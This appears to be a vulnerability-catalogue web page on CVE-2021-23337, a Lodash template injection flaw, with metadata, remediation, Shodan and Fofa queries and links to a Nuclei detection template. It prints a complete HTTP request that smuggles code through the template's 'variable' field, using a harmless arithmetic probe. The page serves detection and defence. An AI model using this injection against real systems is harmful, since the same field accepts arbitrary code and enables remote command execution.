🔙 목록으로 돌아가기

CVE-2021-23337: Lodash Template - Server-Side Template Injection (RCE)

TitleLodash Template - Server-Side Template Injection (RCE)
AuthorDhiyaneshDk
SeverityHigh
ImpactAttackers can execute arbitrary commands on the host system, leading to full system compromise.
RemediationUpdate to version 4.17.21 or later.
CVSS Score7.2
EPSS Score0.04314
CVE IDCVE-2021-23337
CWE IDCWE-94
Shodan Queryhttp.component:"lodash"
Fofa Querybody="lodash"
Tags cve cve2021 lodash ssti rce nodejs javascript

🔍 Vulnerability Description

Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

🌐 HTTP Request

POST /template HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Content-Length: 103
Content-Type: application/json
Accept-Encoding: gzip

{"template":"<%= name %>","variable":") { return String(9727*9133) }; with(obj","data":{"name":"test"}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23337.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-23337.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A